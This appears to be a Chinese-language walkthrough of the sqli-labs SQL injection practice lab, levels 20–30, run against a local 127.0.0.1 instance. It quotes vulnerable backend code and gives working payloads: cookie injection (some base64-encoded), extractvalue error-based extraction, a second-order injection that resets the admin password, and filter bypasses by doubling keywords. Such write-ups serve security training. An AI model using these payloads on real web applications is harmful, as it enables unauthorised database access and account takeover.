20-22cookie注入
第二十题后台主要代码:$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
在第一次登陆验证以后会将第二次的cookie值带入数据库进行查询,可以利用第二次的cookie值进行注入。
payload1:uname=admin'&passwd=1
payload2:uname=admin' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+
第二十一题后台主要代码:$cookee = base64_decode($cookee);$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
与第20题原理一样,只是需要对括号进行闭合,以及base64编码。
payload1:uname=admin')&passwd=1
payload2:uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBzY2hlbWFfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSBsaW1pdCAwLDEpLDB4N2UpKSAj
第二十二题后台主要代码:
1 | $cookee = base64_decode($cookee); |
需要对引号闭合,但是第一次登录可以不用管闭合的事情。
payload1:uname=admin&passwd=1
payload2::uname=YWRtaW4nIiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBzY2hlbWFfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSBsaW1pdCAwLDEpLDB4N2UpKSAj
23对注释过滤
第二十三题后台主要代码:
1 | $reg = "/#/"; |
只要不用注释去闭合后面的单引号就可以
payload:http://127.0.0.1/sqli-labs/Less-23/?id=1' union select 1,2,3 and '1'='1
24二次注入
第二十四题后台有8个文件,与数据库进行交互的有以下几个地方:
login.php
:
1 | $username = mysql_real_escape_string($_POST["login_user"]); |
login_create.php
:
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
pass_change.php
:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
对源码分析以后,我们该如何利用?
二次注入的原理在于我们第一次插入的代码可以在第二次时候构成注入,使得我们达到想要的效果。
我们先注册一个username=admin'#
password=123
的用户。
使用该账号登录,修改密码的时候构成二次注入,可修改admin
账号的密码。
25and,or 过滤
打开第25关,就看见All your 'or' and 'and' belong to us!
行吧。
我们试试双写呗,看你过滤几个。
payload:http://127.0.0.1/sqli-labs/Less-25/?id=-1' union select 1,2,3 oorr '1'='1
看到显示位了,也就过滤了一个。
继续构造就好了。
26空格,注释,or,and过滤
后台主要代码:
1 | function blacklist($id) |
过滤的挺多的,可以尝试xml函数报错注入。
payload:http://127.0.0.1/sqli-labs/Less-26/?id=1'||extractvalue(1,concat(0x7e,database(),0x7e))||'1'='1
27,28UNION,SELECT过滤
27题就是变态啊,看了代码基本啥都过滤,对小白极度不友好啊!
1 | function blacklist($id) |
直接上报错注入了:
http://127.0.0.1/sqli-labs/Less-26/?id=1'||extractvalue(1,concat(0x7e,database(),0x7e))||'1'='1
29,30这两个题好像挺水的
没有过滤什么,可以直接注入。
29payload:
http://127.0.0.1/sqli-labs/Less-29/?id=-1%27%20union%20select%201,database(),3%20or%20%271%27=%271
30payload:
http://127.0.0.1/sqli-labs/Less-30/?id=0" union select 1,database(),3--+
注:26-28看很多大佬有用%a0代替空格注入成功的,也尝试了一下,但是好像都被解析成 ‘?’了,所以就只写了报错的注入方式。